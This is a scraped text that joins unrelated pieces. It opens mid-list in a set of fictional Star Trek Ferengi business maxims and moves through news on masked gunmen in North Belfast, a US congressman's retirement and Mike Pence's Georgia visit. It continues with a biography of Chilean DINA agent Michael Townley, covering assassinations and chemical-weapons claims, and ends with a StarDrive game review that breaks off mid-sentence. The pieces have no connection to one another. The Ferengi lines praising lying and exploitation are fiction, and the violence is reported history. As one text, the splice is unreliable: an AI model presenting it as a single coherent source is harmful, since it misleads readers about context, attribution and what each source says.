Vulcan greed for knowledge. (Legends of the Ferengi) The flimsier the product, the higher the price. (Legends of the Ferengi) Never let the competition know what you’re thinking. (Legends of the Ferengi) Ask not what your profits can do for you, but what you can do for your profits. (Legends of the Ferengi) Females and finances don’t mix. (“Ferengi Love Songs” [DS9], “Profit and Lace” [DS9]) Expand or die. (“False Profits” [DS9], “Acquisition” [ENT]*) Enough... is never enough. (Legends of the Ferengi) Every man has his price. (“In the Pale Moonlight” [DS9]) Trust is the biggest liability of all. (Legends of the Ferengi) Nature decays, but latinum lasts forever. (“The Jem’Hadar” [DS9]) Sleep can interfere with your lust for latinum. (“Rules of Acquisition” [DS9], Legends of the Ferengi) Faith moves mountains... of inventory. (Legends of the Ferengi) There is no honor in poverty. (Legends of the Ferengi) Dignity and an empty sack is worth the sack. (“Rivals” [DS9]) Treat people in your debt like family... exploit them. (“Past Tense, Part I” [DS9], “The Darkness and the Light” [DS9]) Never have sex with the boss’s sister. (“Playing God” [DS9]) Always have sex with the boss. (Legends of the Ferengi) Everything is for sale, even friendship. (Legends of the Ferengi) Even a blind man can recognize the glow of latinum. (Legends of the Ferengi) You can’t make a deal if you’re dead. (“The Siege of AR-558” [DS9], Legends of the Ferengi) Wives serve, brothers inherit. (“Necessary Evil” [DS9]) Only fools pay retail. (Legends of the Ferengi) There’s nothing wrong with charity... as long as it winds up in your pocket. (Legends of the Ferengi) Even in the worst of times, someone turns a profit. (Legends of the Ferengi) Whisper your way to success. (“Treachery, Faith, and the Great River” [DS9], Legends of the Ferengi) Know your enemies... but do business with them always. (Legends of the Ferengi) Not even dishonesty can tarnish the shine of profit. (Legends of the Ferengi) Let others keep their reputation. You keep their money. (Legends of the Ferengi) Hear all, trust nothing. (“Call to Arms” [DS9]) Never cheat a Klingon... unless you’re sure you can get away with it. (Legends of the Ferengi) It’s always good to know about new customers before they walk in your door. (“Whispers” [DS9]) The justification for profit is profit. (Legends of the Ferengi) New customers are like razor-toothed gree worms. They can be succulent, but sometimes they bite back. (“Little Green Men” [DS9]) Sometimes the only thing more dangerous than a question is an answer. (“Ferengi Love Songs” [DS9]) Employees are the rungs on the ladder of success. Don’t hesitate to step on them. (“Bar Association” [DS9]) Never begin a negotiation on an empty stomach. (“The Maquis, Part I” [DS9]) You can’t free a fish from water. (“Past Tense, Part I” [DS9]) Always know what you’re buying. (Legends of the Ferengi, “The Abandoned” [DS9]) Beware the man who doesn’t make time for oo-mox. (Legends of the Ferengi, “Profit and Loss” [DS9]) Latinum lasts longer than lust. (“Ferengi Love Songs” [DS9]) You can’t buy fate. (Legends of the Ferengi) Never be afraid to mislabel a product. (“Body Parts” [DS9]) More is good. All is better. (Legends of the Ferengi) A wife is a luxury. A smart accountant is a necessity. (Legends of the Ferengi) A wealthy man can afford anything except a conscience. (Legends of the Ferengi) Don’t let doubt interfere with your lust for latinum. (“Bar Association” [DS9]) When in doubt, lie. (Legends of the Ferengi) Deep down, everyone’s a Ferengi. (Legends of the Ferengi) No good deed ever goes unpunished. (“The Collaborator” [DS9], “The Sound of Her Voice” [DS9]) Unofficial or Uncertain Rules The unofficial Rules have been quoted on screen, but either were not given a number, not explicitly stated to be a Rule, or were not part of the generally-accepted canon by the Ferengi Commerce Authority. Rule 142: Only fools sell wholesale. (See Rule #141) Rule 286: When Morn leaves, it’s all over. (“The House of Quark” [DS9]) Rule 299: After you’ve exploited someone, it never hurts to thank them. That way, it’s easier to exploit them next time. (“False Profits” [VGR]) Unknown: Exploitation begins at home. (“False Profits” [VGR]) Unknown: Time, like latinum, is a highly limited commodity. (“Bar Association” [DS9]) Unknown: If that’s what’s written, that’s what’s written. (“Favor the Bold” [DS9]) Unknown: A good lie is easier to believe than the truth. (“Shattered” [VGR]) Unknown: A man is only worth the sum of his possessions. (“Acquisition” [ENT]) Bibliography -Get the biggest daily stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email Masked gunmen have been caught on camera patrolling the streets of North Belfast. The sinister gang - one of whom is believed to have been clutching an RPG launcher - was filmed in the Ardoyne area. The video was circulated on social media on Monday but it is unsure when it was taken. The so-called show of strength was caught on camera close to where father-of-four Michael McGibbon was murdered by a New IRA gang earlier this year. The PSNI confirmed an investigation is under way into the video. North Belfast Sinn Fein MLA Gerry Kelly said those in the film need to "wise up". He added: "This is the same organisation that has been involved in extorting, intimidating, assaulting, facilitating drug dealers and murdering people in this community, including local taxi driver and father, Michael McGibbon. "Their only war is with the people of Ardoyne. No one will be taken in by their appearance in fancy dress. "They need to wind up, wise up and go away." Earlier today, Northern Ireland Secretary James Brokenshire said the threat posed by terrorists in Northern Ireland remains severe. Fermanagh and South Tyrone MP Tom Elliott said: “Today’s statement from the Secretary of State makes abundantly clear that the terrorist threat in Northern Ireland is not just a thing of the past, but unfortunately is alive and well in the present. “The terrorist threat level in Northern Ireland remains ‘severe’, meaning that an attack is considered highly likely. “The murder of prison officer Adrian Ismay back in March, demonstrated the lethal intent of dissident republican groups, who have been completely rejected by all sections of society in Northern Ireland, though continue to cause mayhem and destruction in our communities. “The PSNI and our intelligence services must be commended for the work they do facing down terrorism at every turn, and it is noted in the Secretary of State’s statement that numerous dissident attacks have been prevented in the last six months. “We must however be vigilant, and continue to do everything we can to put these terrorist groups out of business.” PSNI Superintendent Darrin Jones said: "Police are aware of a video having been posted on a social media site. Enquiries are ongoing." -Republican Congressman Frank LoBiondo (R-N.J.) won’t seek reelection in 2018, several news outlets reported Wednesday. LoBiondo, who oversees two subcommittees in the lower chamber, including the House Transportation & Infrastructure Committee’s Aviation Subcommittee and the House Intelligence Committee’s CIA subcommittee, will become the latest Republican lawmaker whose retirement opens a seat in a potential swing district. The longtime lawmaker has split with his party on Donald Trump’s agenda, including the current tax-reform proposal and the Republican effort to repeal ObamaCare earlier this year. LoBiondo joins a number of Republican lawmakers who have announced they will not run for reelection. According to The Hill, he is expected to formally announce his retirement from New Jersey’s 2nd District as early as Wednesday, reported Harry Hurley, the radio talk show host for South Jersey’s “Hurley in the Morning.” Democrats are counting on retirements to help them win the 24 seats they need to retake the House majority. A spokesman for LoBiondo’s office did not immediately respond to a request for comment. -The Trump administration may have expressed a desire to improve relations with Russia, but Mike Pence has spent the last few days sticking a thumb in Vladimir Putin’s eye. Just days after Russia announced a wholesale expulsion of US diplomatic personnel, the vice president visited the former Soviet republic of Georgia, where Russian troops still occupy areas seized in 2008. Pence pledged to stand by Georgia and declared the Trump administration’s support for Georgia’s bid to join NATO. If this sounds familiar, it should: Vice President Mike Pence said the U.S. “strongly” supports Georgia’s ambition of joining NATO, even as Russia remains hostile to the military alliance expanding its influence in Moscow’s former Soviet backyard. “We see Georgia as a key strategic partner and stand by your territorial integrity and your aspirations to become a member of the North Atlantic Treaty Organization,” Pence said at talks with Prime Minister Giorgi Kvirikashvili in the Georgian capital, Tbilisi, on Tuesday. U.S. President Donald Trump “asked me to extend greetings to you this morning and to say we are with you,” Pence said. The vice president is also attending joint military exercises involving as many as 800 Georgian and 1,600 U.S. troops during his visit. The Noble Partner 2017 drills, which also include German, U.K., Turkish, Slovenian, Ukrainian and Armenian forces, are the largest in the Caucasus republic since Georgia fought a brief war with Russia in 2008 over the breakaway regions of Abkhazia and South Ossetia. Pence visited the Baltic states previous to his arrival in Tbilisi, where he emphasized US support against Russian aggression. His message in Tbilisi is only slightly more subtle, and it’s going to be heard loud and clear in Moscow. That’s not the reason it should sound familiar, though. The Russian incursion into Abkhazia and South Ossetia came after the Bush administration made overtures to bring Georgia into NATO, too, as Vladimir Putin responded by going to war with Georgia to seize the two provinces before Georgia had access to an Article V intervention. The Bush administration got tough with Putin at that point, but Barack Obama and Hillary Clinton reversed that policy with their infamous “reset button” in March 2009, leaving the occupation of Abkhazia and South Ossetia as a fait accompli. Their efforts to appease Putin failed spectacularly in Ukraine five years later, when a push from European nations to get Ukraine to realign both politically and economically to the West triggered the same kind of response. Pence wants to indicate that the Trump administration plans to get tougher with Putin than Barack Obama did, which isn’t hard to do. Georgia will certainly be happy to get back on the US nat-sec radar screen, but this ploy has considerable risk for both Georgia and NATO. Putin has already demonstrated that he’s willing to roll troops over the border to keep the West from setting up camp on Russia’s borders, at least more than they already do in Poland. Putin just got slapped in Montenegro on NATO expansion, but that was a lower-stakes standoff as the Adriatic nation is far from Russian borders. On the other hand, it might serve notice to Putin that his attempts at provocations in the Baltic will get answered in the always-fractious Caucasus, and that the US will not sit still again for Putin’s claims of championing ethnic Russian enclaves elsewhere. In another signal to Putin, Pence declared that Trump will soon sign the sanctions bill that passed with veto-proof majorities: Pence’s European trip comes several days after the U.S. Senate voted last week to approve the new financial sanctions against Moscow. The legislation bars U.S. President Donald Trump from easing or waiving the penalties on Russia unless Congress agrees. Pence told reporters on Tuesday that Trump would sign a bill on a new package of U.S. sanctions against Russia, adding the package was “improved significantly.” The bill underwent revisions to address concerns voiced by American oil and natural gas companies that sanctions specific to Russia’s energy sector could backfire on them to Moscow’s benefit. U.S. lawmakers said they also made adjustments so the sanctions on Russia’s energy sector didn’t undercut the ability of U.S. allies in Europe to get access to oil and gas resources outside of Russia. If Putin interfered with the 2016 election with its specific outcome in mind, it’s not exactly paying off. Update: Let’s discuss another aspect of this idea. NATO is a fairly contiguous group of countries which are relatively easy to defend, in terms of lines of communication and supply. The toughest member to support would probably be Turkey, although some troop movements could be possible through Greece and Bulgaria if needed, and the Mediterranean Sea gives the West broad access if northern Africa doesn’t become too hostile. Note, however, where Georgia is on the map — all the way on the other side of Turkey, who has become a lot less reliable over the last few years as an ally, with Iran close by. If called to respond to a Russian incursion under Article V, NATO would have no easy task in getting to the front with any force, while the Russians could roll across Georgia rather quickly. This looks like a bad idea, even if it’s just a tit-for-tat provocation in answer to the Russians’ activities near the Baltic states …. maybe especially bad for that purpose. -Michael Vernon Townley (born December 5, 1942) is a former agent of the Dirección de Inteligencia Nacional[1] currently living under terms of the US federal witness protection program. An operative of the Chilean secret police, Townley confessed, was convicted, and served 62 months in prison in the United States for the 1976 Washington, D.C., assassination of Orlando Letelier, former Chilean ambassador to the United States.[2] As part of his plea bargain, Townley received immunity from further prosecution; he was not extradited to Argentina to stand trial for the 1974 assassination of Chilean general Carlos Prats and his wife.[2] In 1993, Townley was also convicted, in absentia, by an Italian court for carrying out the 1975 Rome murder attempt on Bernardo Leighton.[3] Townley worked in producing chemical weapons for Chilean dictator Augusto Pinochet's use against political opponents along with Colonel Gerardo Huber[4] and the DINA biochemist Eugenio Berríos.[5] Early life [ edit ] Townley was born in Waterloo, Iowa. 1974 assassination of Carlos Prats [ edit ] According to head of DINA Manuel Contreras, Townley returned to Chile at the end of 1973, working for the CIA, with the intent of receiving from the "Highest National Authority, in agreement with what had already been planned by the CIA ... the order to act in direct, personal and exclusive form, without intermediaries, against General Prats in Buenos Aires".[6][page needed] Prats and his wife were killed with a car bomb in Buenos Aires, Argentina, in 1974. Contreras also said that Townley traveled with a false passport provided by the CIA under the name of Kenneth Enyart.[6][page needed] Contreras stated Townley was aided by CIA agents, as well as Argentine and Chilean agents, and paramilitary groups such as the Triple A and the Grupo Milicias. Contreras said he thought the CIA planned the assassination because it feared Prats would try to overthrow Pinochet's dictatorship with the help of the Argentine Army, thus leading to a war between Chile and Argentina which would constitute "a difficult problem for the United States in the Cold War era".[7] 1975 Bernardo Leighton assassination attempt [ edit ] He was convicted and sentenced in absentia in Italy to 15 years of jail over his role as an intermediary between the Chilean DINA and Italian neo-fascists.[8] Michael Townley also stated that Enrique Arancibia had traveled to California in the autumn of 1977 on banking business for ALFA, alias Stefano Delle Chiaie.[9] Enrique Arancibia is a former DINA agent who resided in unofficial exile in Buenos Aires after the assassination of Chilean Army Chief of Staff René Schneider on October 25, 1970. Arancibia was arrested by Argentine intelligence officers shortly after the extradition of Townley to the US and charged with espionage.[10] Convicted for Orlando Letelier's murder [ edit ] Townley was convicted in the United States for the 1976 murder of Orlando Letelier in Washington, D.C. During his trial, he said that Augusto Pinochet was responsible for planning the murder. Head of DINA Manuel Contreras also stated that Pinochet planned the assassination of both Prats and Letelier.[7] Townley served 62 months in prison for the murder.[11] Michael Townley confessed that he had hired five anti-Castrist Cuban exiles to booby-trap Letelier's car. According to Jean-Guy Allard, after consultations with the leadership of the anti-Castro Cuban organization CORU, including Luis Posada Carriles and Orlando Bosch, those elected to carry out the murder were Cuban-Americans José Dionisio Suárez, Virgilio Paz Romero, Alvin Ross Díaz, and brothers Guillermo and Ignacio Novo Sampoll.[12] According to the Miami Herald, Luis Posada Carriles was also at this meeting, which decided on Letelier's death and also about the Cubana Flight 455 bombing. Townley was the prosecution's chief witness at the trial for Ross and the Novo brothers.[13] In 1978, Chile agreed to extradite him to the USA, in order to reduce the tension resulting from Orlando Letelier's murder. He made an agreement with the US government on April 17, 1978, which required that he only provide information relevant to violations of US law or offenses committed in US jurisdiction. Based on that argument, he refused to provide any information concerning DINA during the trial of the three Cuban defendants in Washington DC in early 1979 concerning Letelier's assassination. Michael Townley was then freed under the federal Witness Protection Program. The United States is still waiting for Pedro Espinoza Bravo to be extradited. Contreras died in 2015, in Santiago, without having been extradited. In an interview with authorities on October 20, 1981, Townley declared that Castro opponent Virgilio Paz Romero brought with him a Colt .45 caliber automatic pistol when he visited Chile in the spring of 1976. According to Townley, Romero said that the weapon had recently been used in a "hit" by the Cuban Nationalist Movement and that his purpose in Chile was to use it again. Townley then said that Romero had broken the weapon in pieces and scattered the pieces throughout Santiago. In 2005, DINA chief Manuel Contreras also told the Chilean judge responsible for trying the case that Townley had been supported for Letelier's assassination by CIA agents, as well as the Cuban Nationalist Movement and members of the DISIP (for which Luis Posada Carriles worked). CIA deputy director from 1972 to 1976, General Vernon Walters, informed Pinochet that Letelier represented a threat for the US and was preparing a Chilean government in exile, according to Contreras. Contreras wrote in the document that "the Chilean President disposed in personal, exclusive and direct manner of the action of CIA agent Michael Townley against Mr. Orlando Letelier". Contreras also stated that the CNI handed out monthly payments between 1978 and 1990 to the persons who had worked with Townley in Chile, all members of Patria y Libertad: Mariana Callejas (Townley's wife), Francisco Oyarzún, Gustavo Etchepare and Eugenio Berríos.[7] Assassinated in 1995, Berríos worked with drug traffickers and DEA agents.[14] Ongoing investigations [ edit ] In 2003, Argentine Federal Judge María Servini de Cubría asked Chile for the extradition of Mariana Callejas, who was accused of Carlos Prats' murder. But, in July 2005, Chilean Judge Nibaldo Segura of the Court of Appeals stated that the case cannot proceed, arguing that Callejas was already being tried in Chile. Questioned in March 2005 by Judge Alejandro Madrid about ex-Chilean Christian Democrat President Eduardo Frei Montalva's death, Michael Townley acknowledged links between Colonia Dignidad, led by ex-Nazi Paul Schäfer and DINA on one side and the Laboratorio de Guerra Bacteriológica del Ejército (Bacteriological War Army Laboratory) on the other. It is suspected the toxin that killed Frei Montalva in a Santa Maria clinic in 1982 was created there. This new laboratory in Colonia Dignidad would have been, according to him, the continuation of the laboratory the DINA had in Via Naranja de lo Curro where he worked with DINA biochemist Eugenio Berríos. Townley would also have testified on biological experiments made upon prisoners in Colonia Dignidad with the help of the two above mentioned laboratories.[5] In 1992, Townley testified that the Spanish diplomat Carmelo Soria, assassinated in 1976, had been detained at his home on Via Naranja in the sector of Lo Curro.[15] There he was tortured and, since he did not speak, subjected to sarin gas (which had been re-invented by Berríos).[dubious – discuss] [16] Soria was then detained and tortured again in the Villa Grimaldi and his case was included in Spanish magistrate Baltasar Garzon's indictment of Pinochet.[17] In May 2016, Chile's Supreme Court asked the United States to extradite Chilean Armando Fernandez Larios, Townley and Cuban Virgilio Paz, all three of whom were linked to the September 21, 1976, car-boming murders in Washington, D.C. In November 2002, Soria's widow, Laura Gonzalez-Vera, along with the personal representative of Soria's estate, sued Townley seeking damages for Soria's torture and killing. When Townley defaulted, the district court entered a $7 million judgment against him.[18] The Supreme Court unanimously ruled that the foreign ministry of Chile should file an extradition request to the United States for Michael Townley and Armando Fernandez Larios.[19] All three are wanted in Chile for the detention, torture, and killing of Spanish-Chilean citizen Carmelo Soria on July 14, 1976.[20] Alleged role in Pablo Neruda's death [ edit ] In 2011, an investigation was launched into the death of Pablo Neruda, partially on the strength of a statement from his driver that he was injected with a poison by a Dr. Price. Price's description matched that of Townley, and police examined this link while Neruda's body was exhumed and tested for possible toxins.[21] On 8 November 2013, the test results were released, with head of Chile's medical legal service Patricio Bustos stating that "No relevant chemical substances have been found that could be linked to Mr. Neruda's death".[22] However, Carroza said that he is waiting for the results of the last scientific test conducted in May (2015), which found that Neruda was infected with the Staphylococcus aureus bacterium, which can be highly toxic and result in death if modified.[23] -If you’ve been following SpaceSector’s coverage of StarDrive, you probably already know that StarDrive is a game I’ve been writing about for quite awhile now. I admit that I’ve been rather enthusiastic and excited about it, even since its early days, as I really liked the concepts and mechanics it was introducing. I have been waiting patiently for a 4X game that ticked all the boxes on its way to success. This past Friday, StarDrive’s status was officially changed from beta product to released product. Has it managed to meet my expectations? Let’s find out. Background Info I’ve spent over 40 hours with StarDrive since it’s Steam open beta release, and dozens more prior to that during the closed Steam and Desura betas, which I have been a part of since nearly the beginning. Typically, I prefer to play on an above average difficulty in a small to medium size galaxy. I know that some players prefer to play with an epic size galaxy, and I felt it was very important that I test the game’s capabilities under those settings as well. Therefore, in preparation for this review, I have also played a game on the epic map size with an AI difficulty of brutal, which is the highest difficulty mode available. Obviously, this not only tests the AI’s capabilities, but also gave me some insight into how well performance held up under the most extreme conditions the game has on offer. For that reason, I also played the game on both my desktop and my laptop. Overall Gameplay StarDrive is a 4X game about conquering the galaxy. The only game mode currently present in StarDrive is sandbox, so those looking for a story centered mode or alternative game modes won’t find them here as of now. StarDrive at one point in its past had a few different alternative modes in the game, but these are not present currently. StarDrive features 8 different races each with their own unique diplomatic videos/avatars, their own ship designs, their own fully customizable traits, and in the case of AI controlled races, their own somewhat randomized personalities. After selecting and designing your race, setting up your galaxy settings like size, planet abundance, and overall pacing, you’ll be ready to start playing the game. Gameplay consists of the core 4X features we all know and love. You’ll be exploring the galaxy for planets and artifacts, colonizing worlds, researching technologies, designing ships, conducting diplomacy, and participating in offensive and defensive actions throughout the game. Victory is achieved by wiping out either all other races, or wiping out some and absorbing the others into a player-led federation. There is neither a science or wonder type victory condition in the game, so in all cases you’ll be forced to take an active part in the ways of war if you hope to win the game. Thankfully, ship design and combat are a lot of fun in StarDrive. Each race has aesthetically different and technically different ships, each of which contains different module layouts inside. I’ve discussed this before, but it is worth mentioning again, that StarDrive’s ship design system, combined with its combat, are truly it’s most worthwhile attributes. Even though it’s not turn-based but a real-time (pausable) game, it still delivers a very strong “one more turn” sensation due to its design system. Once I’ve designed a brand new ship, there’s just no way I can step away from the PC until I’ve built it and seen it in action. There is no greater glory then watching your newly minted ship pulverize the hulls of your enemy into space dust. Watching them beg for peace when you’ve just finished bombarding several of their planets is a close second though. To fully show how versatile the ship design system is, I tried designing some corvette class ships that were heavily armored on one side, and then placed my unprotected and vulnerable weapons on the other. I then assigned them the attack pattern that forced them to always try to circle their enemy while keeping the protected side facing them. The nice thing about this is that weapon projectiles and direction actually matter, so by keeping my armored side against the enemy, I could protect the reactors and weapons that I placed unprotected behind them. This worked fairly well, although not perfectly, as sometimes my ships would inexplicably either change targets or fly directly towards an opponent, leaving themselves exposed. It was good to see that some creative use of these advanced attack patterns could be made, even if it wasn’t a perfect experiment. Squeezing every last bit of efficiency out of a ship is a tough thing to do, and I expect we’ll see people debating potential best in class designs for each hull for some time to come. Exploration is enjoyable, although not as intense as it could be, as in reality there are only a handful of surprises to discover and these will be revealed after only your first playthrough of the game. You won’t find an any space monsters or pirates in the current game. The closest thing to space monsters is the Remnant, a grouping of ships that orbits some of the best planets in the game, but they seem like more of a “gear check” to see if you are powerful enough to take them rather than a viable or exciting threat to deal with. They do offer a few surprises, but even these are limited in scope. Technically, pirates do also exist, but they feel more like the start of a good idea rather than a fully fleshed out feature. They also seem to be biased against the human player, which is a mechanic that I find a bit cheap and unfair. In terms of planet exploration, StarDrive does have a few planetary surprises to discover. These are certainly worth collecting, as each will provide a somewhat significant bonus to the player of some kind. Every race in the game can benefit from these items, so grabbing them as quickly as possible is important. Every race also prefers the same exact climate, richness, and production except for the Opteris, so exploration is also very much a race to the best planets all around. I’d have preferred to see some races that preferred and thrived on swamp, desert, or ice worlds, rather than each race preferring Rich Terran ones. The tech tree and research options are of debatable quality and quantity. Having researched and played with every tech in the trees, I feel like the number of techs is generally sufficient without having too many unnecessary options. There are some that are of only situational use, such as things like EMP weapons and missile defense systems that may not fit your current goals, but most will be useful to just about everyone. Tech progress may still be a bit fast for some, and with no “end game” endless technologies, the player is left with an empty research queue once everything has been discovered. There are ways to slow the pace of tech during initial game setup, should you find this is the case for you. I’d have loved to see a mechanic whereby existing weapons could be miniaturized or improved, so as to keep even early stage weapons somewhat useful ala MoO II. One nice thing about StarDrive that may redeem it in this area is its openness to modding. There are already several tech mods available, and I’m sure we will see even more additional techs from the community in the future. Whether or not these will suit your taste, be balanced properly, or will be used by AI effectively, is a different matter. Aside from ship design, exploration, and research, a lot of other mechanics are quite similar to 4X games of the past. I’ll discuss diplomacy and espionage a bit more in the AI section, as these are a little different than other games. Freighters and trade routes can be manually controlled, and in StarDrive each and every one of these ships is an actual ship flying about the galaxy. Like most things that don’t have to do with combat, these can be automated, and I would recommend doing so as it does a great job moving your goods around for you. Colony building is limited, with only a few building choices to worry about. You will change your queue when you research a new technology to incorporate the new structure. Beyond that, you will generally leave it empty, build ships or stations, or since troops currently have an insignificant cost associated with them, you’ll be smart and just train troops during any planetary downtime. Even with planetary governors managing your colony, I feel that a large number of buildings could become somewhat tedious to manage, so the limited selection is acceptable in my opinion. StarDrive’s primary gameplay focus is on ship design and combat, not colony or trade management, and the limited options and automation available help keep things that way. If you’re looking for Civilization in space, you’re in the wrong place. If you’re looking for epic battles between hundreds of ships with lasers, cannons, fighters, and missiles flying everywhere, then StarDrive has exactly what you are looking for. Multiplayer is not present in StarDrive currently. While I myself am not an avid multiplayer gamer when it comes to these types of strategy games, I know a lot of people are disappointed that they can’t test their ship designs out against each other at the present time. One very important thing to note, however, is that the game somewhat compensates for this through he use of its own adaptable AI. I’ll discuss this further below, in the AI section of my review. AI In any single player 4X game, the capability and competency of its AI controlled opponents is of the utmost importance. Can the AI manage its holdings effectively? Can it defend itself from external threats, yet continue to expand and take offensive actions against others? Will it have rapid personality swings and make seemingly schizophrenic diplomatic decisions? I know there are players who are going to be concerned with whether or not the AI cheats or receives unfair advantages in any way whatsoever. The answer is, yes, StarDrive’s AI does receive unfair advantages at higher difficulties. I’m not 100% sure how many they receive, but it is fairly obvious based on the diplomatic/espionage screen that their advantages are quite extreme, at least on the highest difficulty level (brutal). Does it matter in the long run? That’s ultimately up to the individual player, but in my opinion, as long as the AI is competitive, this is a forgivable sin. In most playthroughs I am far and above my opponents in all categories, but against 7 opponents on brutal difficulty, I found myself in close to last place in each category for a significant length of time, meaning I was going to have to work very hard and effectively to survive. This, in my case, makes me feel comfortable with their advantages. This is pretty common in 4X games anyway, but I did want to point this fact out to those that may have been wondering. Offense and Defense are two important areas and StarDrive’s AI has gotten a bit better about handling them. For both offense and defense, the AI builds quite a few different fleets and assigns them different purposes. While their individual ship designs are not always the best, they tend to be rather effective at building workable fleets. For example, they tend to leave their troop transports in the rear and send their battleships in first to clear a path. Should they sense the tides have turned against them, they also aren’t afraid to cut their losses and retreat as quickly as possible. In addition to troop focused fleets, the AI will also equip many of its ships with bombs, and will assist the war effort by bombing your planets into oblivion if given the chance. Offensively, the AI has surprised me a few times with its ferocity. The AI spares no expense in its fleets, and will often send more ships then you’d been expecting. I was also surprised to see it execute a few multi-pronged attacks, even at one time hitting three of my systems simultaneously. What I did not witness was the AI using specialty weapons or boarding techniques, even in circumstances where they could have clearly dominated me had they used some ingenuity. Defensively, the AI will respond to threats throughout their empire pretty quickly in my experience, but it does not always handle very focused attacks from the player all that effectively. Players using vast quantities of troops to attack enemy planet’s by bypassing defensive ships, as well as fleets built primarily of bombers, have proven difficult for them to overcome. AI ship designs are somewhat lacking, but one of the best features of StarDrive is the AI’s ability to steal a player’s designs. Did you wipe the galaxy with your epic Draylok designs last time you played? Don’t be surprised to see them used against you the next time you play as a different race. This is a feature that often catches players off guard, and one you truly can’t appreciate until you’ve played a few games with different races. Combined with the AI’s offensive capabilities, this can create a very tough challenge for those caught unaware. From a diplomatic perspective, the AI has been relatively consistent in its actions. Relationships rely on several factors including whether or not you have planets they desire, whether or not they feel you are a threat to them, whether or not they feel they could easily conquer you, the length of your relationship with them, how you have treated others diplomatically, and so on. Each AI is also assigned a personality at game creation, and this can and will impact their willingness to negotiate with you and with others. Establishing a relationship early, typically with a non-aggression pact, can reap long term dividends as it can later lead to a trade treaty, an alliance, and perhaps, even a willingness to join a player led federation. As an example, I was able to form an alliance after some time with several races and maintained them without issue. Even though I denied a request to declare war against their rival, and this did hurt our relations, they still remained my ally and did not act irrationally. Another time I accepted their request to declare war, and shortly after that they signed a peace deal that left me at war alone against their former rival. Not very nice, but it shows that using caution when dealing with your ally’s requests is rather important. I’m also pleased to report that your allies will often agree to your requests to declare war against another race, although whether or not they decide to do anything other then make a declaration is difficult to tell. There isn’t a direct request like “send me help now”, or “go attack target X” that I could find, so it seems war is more a state of what could happen rather than what will happen. The AI also participates actively in the espionage world. If you don’t build some spies, even for defensive purposes, you can fully expect the AI to steal things from you at every chance they can. Your income will go down at times mysteriously, you may notice the AI has some new technologies they didn’t have before, and so on. Spies are dual purpose, so training a spy up and leaving him “unassigned” will provide you with defense against enemy spies, while leveling him up and sending him out to steal from others will of course provide advantages as well. Should you be caught spying on the enemy, expect them to react as they should, with anger and resentment towards your attempts. In this aspect, the AI handles itself quite well. Stability and Performance Throughout the beta and now the release, I have been fortunate enough to have both a desktop and a laptop to experience the game with. I spend the vast majority of my time on the desktop, but after spending some type on my desktop experiencing the game so I could write this review, I decided to let my laptop take a crack at my ongoing sandbox game by transferring all my save files and designs over to it. I am glad I did this, as it wasn’t really until I played StarDrive on my laptop that I truly began to understand some of the frustrations others have expressed with its stability. Sound has been an issue throughout the open beta for some players, but I have not experienced any sound issues on my desktop in StarDrive’s release version. Also, I had not played StarDrive on my laptop in a few months prior to this review, and had not experienced any sound related issues at that time. It wasn’t until a few Opteris attack fleets showed up on my doorstep that I experienced a complete loss of all sound and music in-game while playing on my laptop. I tried to turn sound and music options on and off, but nothing beyond a complete exit and restart of the game would bring the sound back. In addition, the sound would cut out shortly after re-loading once the Opteris showed up again. I think that beam weapons may have been a factor in the sound loss, but it is hard to say. I soldiered on through the sound issues as I was really interested in seeing my fleet clash with the Opteris space and ground forces. Unfortunately, I was unable to proceed with my defensive strategy ultimately because of a far worse opponent. StarDrive completely locked up and I was unable to exit without using task manager to end the application. I restarted and reloaded a prior save and all seemed fine, even sound returned, but the sound dropped off and shortly after that the game seemed to lock up again as the Opteris attacked, even without my attempts at boarding. After three attempts to restart and reload the game only to have it lock up shortly thereafter, I had no choice but to exit the game until I could get back to my desktop to see if it could do any better. Returning to my desktop did allow me to proceed, so your experience may vary. I experienced good performance with the game overall, at least until the later stages. Playing StarDrive on its epic size setting with brutal AI is a very demanding task. There are a substantial number of things going on, and tons of ships flying around. I did notice in the later stages, several hours into the game, that this combined with some intense combat situations did introduce some lag on my desktop. This was particularly noticeable when my beam and missile ships clashed with some Ralyeh missile ships, and projectiles began flying everywhere around the screen. It wasn’t a drastic difference, but it was certainly noticeable. Aside from this, the only other time I experienced lag was when I increased the game speed to 2x, 3x, or 4x, and only again in these later stages. In these modes the game must process everything going on in the galaxy at an increased speed, so for that reason I feel like some lag is not unreasonable. Returning to 1x cleared up the lag as long I was outside of intense battle situations. Mods One of StarDrive’s best added value features is its mod support. Even if development itself some day halts, it has left the door open for aspiring designers to add and contort mechanics to their whim. I’ve seen in the past how mods can truly transform titles that were good ones into great ones, so the importance of a good mod or modding team can not be easily dismissed. Bugs, Exploits, and Room for Improvement Troops are one of my biggest pet peeves right now, and one that I believe are going to see attention very soon. They are very cheap to build, free to maintain, and are the most versatile units in the game. They can of course defend your planet and attack enemy planets. One issue many people have expressed concern over is that they can assault other planets often unescorted since they can typically bypass enemy ships completely. StarDrive does have some optional gravity wells and in-system warp speed settings that can be changed upon game setup to prevent this exploit, but these didn’t seem like suitable fixes for the core problem. In addition, this is not even the biggest issue I have with troops. Troops can also directly assault enemy ships. In my recent playthrough, I discovered that nearly every enemy ship I encountered, from the smallest fighter up to cruisers, could not only be defeated, but could also become one of my ships, if only I sent one or two troop ships to capture them. Imagine stealing 6 or 7 600+ value cruisers with only 7 or 8 troops which took only 50 production to create. That’s a huge swing, and a much better alternative to destroying them, and also, it is completely broken. Playing around with troops highlighted another issue with ship assault and boarding. I noticed that enemy ships that have been captured still belong to the enemy fleet. Even though I try to assign them new orders, they will continually start flying off into enemy territory without my instruction. It was only awhile later that I realized that they were obeying instructions that their former master was giving to the remainder of his fleet. This became rather frustrating as I captured more and more of the enemies ships. In addition to the two issues above, there were numerous other bugs I noticed while playing. These bugs were generally annoying rather than game-breaking though. I received a blank message, that appeared to be a declaration of war, after destroying a Ralyeh colonizer. I noticed a lone Federation marine on one of my planet’s that was filled with troops, and received no notification that he had arrived. My troops also had to be manually ordered to destroy him, even though we were at war at the time. A couple of the titan class ship designs are not in the game yet. Filling a planet up entirely with troops prevents any enemy troops from landing. Furthermore, there are some features that I hope see some refinement and I will briefly list a few of them here. Pirates are currently in game, but consist of only a couple of ships that are either paid off or destroyed, and they seem to only target the player. There is one minor race in the game that has relatively little impact. There aren’t any space monsters or neutral threats to deal with aside from some creatures that will spawn when investigating anomalies. Random events are quite limited, consisting primarily of a few planet quality changes and hyperspace flux. It isn’t possible to see a race’s diplomatic stance when it comes to other races, so making informed decisions is nearly impossible currently. Speaking of features you may feel are missing, and if 